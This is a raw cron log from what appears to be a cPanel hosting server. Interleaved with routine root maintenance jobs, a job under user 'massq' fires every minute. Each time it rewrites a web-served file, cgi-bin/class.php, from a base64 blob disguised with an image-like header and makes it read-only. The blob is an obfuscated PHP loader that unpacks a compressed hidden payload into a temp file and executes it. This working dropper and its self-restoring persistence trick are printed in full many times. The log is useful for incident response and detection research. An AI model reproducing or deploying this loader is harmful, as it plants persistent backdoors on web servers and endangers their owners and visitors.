Sep  5 10:35:01 server CROND[8217]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 10:36:01 server CROND[9209]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:36:01 server CROND[9211]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:36:01 server CROND[9210]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 10:37:01 server CROND[9597]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:37:01 server CROND[9598]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 10:37:01 server CROND[9599]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:38:01 server CROND[9977]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 10:38:01 server CROND[9978]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:38:01 server CROND[9979]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:39:01 server CROND[10369]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 10:39:01 server CROND[10371]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:39:01 server CROND[10370]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  5 10:39:01 server CROND[10368]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:40:01 server CROND[10777]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 10:40:01 server CROND[10784]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:40:01 server CROND[10782]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 10:40:01 server CROND[10783]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 10:40:01 server CROND[10779]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:40:01 server CROND[10781]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 10:40:01 server CROND[10778]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 10:40:01 server CROND[10780]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 10:41:01 server CROND[11665]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:41:01 server CROND[11666]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:41:01 server CROND[11667]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 10:42:01 server CROND[12140]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 10:42:01 server CROND[12141]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:42:01 server CROND[12142]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 10:42:01 server CROND[12143]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:43:01 server CROND[12553]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:43:01 server CROND[12554]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 10:43:01 server CROND[12556]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:44:01 server CROND[12942]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 10:44:01 server CROND[12943]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:44:01 server CROND[12944]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:45:01 server CROND[13331]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 10:45:01 server CROND[13332]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 10:45:01 server CROND[13333]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 10:45:01 server CROND[13335]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 10:45:01 server CROND[13339]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:45:01 server CROND[13338]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 10:45:01 server CROND[13344]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:46:01 server CROND[14164]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:46:01 server CROND[14165]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 10:46:01 server CROND[14166]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:47:01 server CROND[14651]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 10:47:01 server CROND[14652]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 10:47:01 server CROND[14653]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 10:48:01 server CROND[15036]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 10:48:01 server CROND[15037]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
